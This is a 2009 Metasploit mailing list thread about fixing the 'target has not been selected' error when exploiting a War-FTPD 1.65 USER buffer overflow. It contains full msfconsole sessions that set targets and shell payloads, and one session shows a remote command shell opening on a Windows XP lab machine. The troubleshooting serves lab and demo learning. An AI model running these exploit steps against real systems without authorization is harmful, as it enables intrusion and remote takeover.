Metasploit mailing list archives

Re: Exploit failed: a target has not been selected


From: Jun Koi <junkoi2004 () gmail com>
Date: Wed, 28 Oct 2009 18:38:15 +0900

So the problem is that i missed the "set target" step. Thanks!!

Now another problem is: my Windows is XP SP3, and the exploitation
with Payload windows/shell/reverse_nonx_tcp doesnt work: the warftpd
server crashes.

I want to do all of this to give a demo to my friend on Metasploit. So
anybody could recommend any program with available exploit in
Metasploit, and that works on Windows XP SP3?

thanks,
Jun


2009/10/28 D-Null <dellnull () gmail com>:
Works fine for me, using metasploit 3.3 revision 7294 on linux
Maybe try to use another payload and see if you could isolate your problems

msf > use windows/ftp/warftpd_165_user
msf exploit(warftpd_165_user) > show options

Module options:

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FTPPASS  mozilla () example com  no        The password for the specified
username
   FTPUSER  anonymous            no        The username to authenticate as
   RHOST                         yes       The target address
   RPORT    21                   yes       The target port

msf exploit(warftpd_165_user) > set RPORT 28
RPORT => 28
msf exploit(warftpd_165_user) > set RHOST 192.168.0.49
RHOST => 192.168.0.49
msf exploit(warftpd_165_user) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows 2000 SP0-SP4 English
   1   Windows XP SP0-SP1 English
   2   Windows XP SP2 English


msf exploit(warftpd_165_user) > set target 2
target => 2

msf exploit(warftpd_165_user) > set payload generic/shell_bind_tcp
payload => generic/shell_bind_tcp



msf exploit(warftpd_165_user) > exploit

[*] Connecting to FTP server 192.168.0.49:28...
[*] Started bind handler
[*] Connected to target FTP server.
[*] Trying target Windows XP SP2 English...
[*] Command shell session 1 opened (192.168.0.42:48499 -> 192.168.0.49:4444)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop\war>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection 2:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.0.49
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.0.1

C:\Documents and Settings\Administrator\Desktop\war>

---------------------------------------------------------------------------------------


2009/10/28 Anthony Sapozhnikov <anton.a.sa () gmail com>

msf exploit(warftpd_165_user) > info

      Name: War-FTPD 1.65 Username Overflow
   Version: 7030
  Platform: Windows
 Privileged: No
   License: BSD License

Provided by:
 Fairuzan Roslan <riaf () mysec org>

Available targets:
 Id  Name
 --  ----
 0   Windows 2000 SP0-SP4 English
 1   Windows XP SP0-SP1 English
 2   Windows XP SP2 English

Basic options:
 Name     Current Setting      Required  Description
 ----     ---------------      --------  -----------
 FTPPASS  mozilla () example com  no        The password for the
specified username
 FTPUSER  anonymous            no        The username to authenticate as
 RHOST                         yes       The target address
 RPORT    21                   yes       The target port

Payload information:
 Space: 424
 Avoid: 4 characters

Description:
 This module exploits a buffer overflow found in the USER command of
 War-FTPD 1.65.

References:
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0256
 http://www.osvdb.org/875
 http://www.securityfocus.com/bid/10078
 http://milw0rm.com/metasploit/75
 http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html

msf exploit(warftpd_165_user) > set TARGET 0
TARGET => 0
msf exploit(warftpd_165_user) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(warftpd_165_user) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(warftpd_165_user) > exploit

[*] Started bind handler
[*] Connecting to FTP server 127.0.0.1:21...


2009/10/28 Jun Koi <junkoi2004 () gmail com>:
Hi,

I am running WarFtp 1.65 on Windows, and trying to exploit that with
the latest metasploit (SVN).
But I have the error "Exploit failed: a target has not been selected",
for no clear reason.

Any clue on how to fix this?

The result of "show options" seems to show that I use metasploit
correctly, like below.

Thanks,
Jun

-----
msf exploit(warftpd_165_user) > show options

Module options:

  Name     Current Setting      Required  Description
  ----     ---------------      --------  -----------
  FTPPASS  mozilla () example com  no        The password for the
specified username
  FTPUSER  anonymous            no        The username to authenticate
as
  RHOST    10.0.0.5             yes       The target address
  RPORT    21                   yes       The target port


Payload options (windows/shell/reverse_nonx_tcp):

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  thread           yes       Exit technique: seh, thread,
process
  LHOST     10.0.0.2         yes       The local address
  LPORT     4444             yes       The local port

msf exploit(warftpd_165_user) > exploit

[-] Exploit failed: A target has not been selected.
[*] Exploit completed, but no session was created.
msf exploit(warftpd_165_user) >
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework




--
С уважением, Антон Сапожников.
mailto: Anton.Sapozhnikov () gmail com
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework


_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework


_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework

Current thread: